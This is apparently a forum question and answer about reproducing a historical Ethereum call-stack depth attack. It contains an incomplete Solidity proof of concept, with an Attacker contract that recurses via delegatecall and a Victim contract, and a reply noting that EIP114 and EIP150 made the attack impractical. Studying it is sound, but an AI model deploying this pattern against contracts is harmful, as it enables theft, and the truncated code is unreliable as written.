I am trying to replicate the attack I found here: Reproducing stack depth attack

contract Attacker {
Victim public victimContract;
uint x;

function Attacker(){
    victimContract = (new Victim).value(10 wei)();

function attack(uint y) {
    if (y > x) {
        this.delegatecall(bytes4(sha3('attack(uint256)')), --y);
    else {
        victimContract.donate.value(1)(this, 1);


contract Victim {
    mapping(address => uint) karma;
    function donate(address someAddress, uint amount){
        if(msg.value == amount) {
            karma[msg.sender] += amount;

I have tried with Remix 0.3.4 solidity compiler but cannot get the contract to execute now because of the per block gas limit of 3,000,000 which the transaction exceeds.

I am interested in seeing its execution on the EVM, since I want to visualise it. Does anyone know the transaction hash(s) of any successful stack depth attacks?


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Call depth attacks are impractical now (see EIP114 and EIP150). So they could be only reproduced in old versions of EVM.

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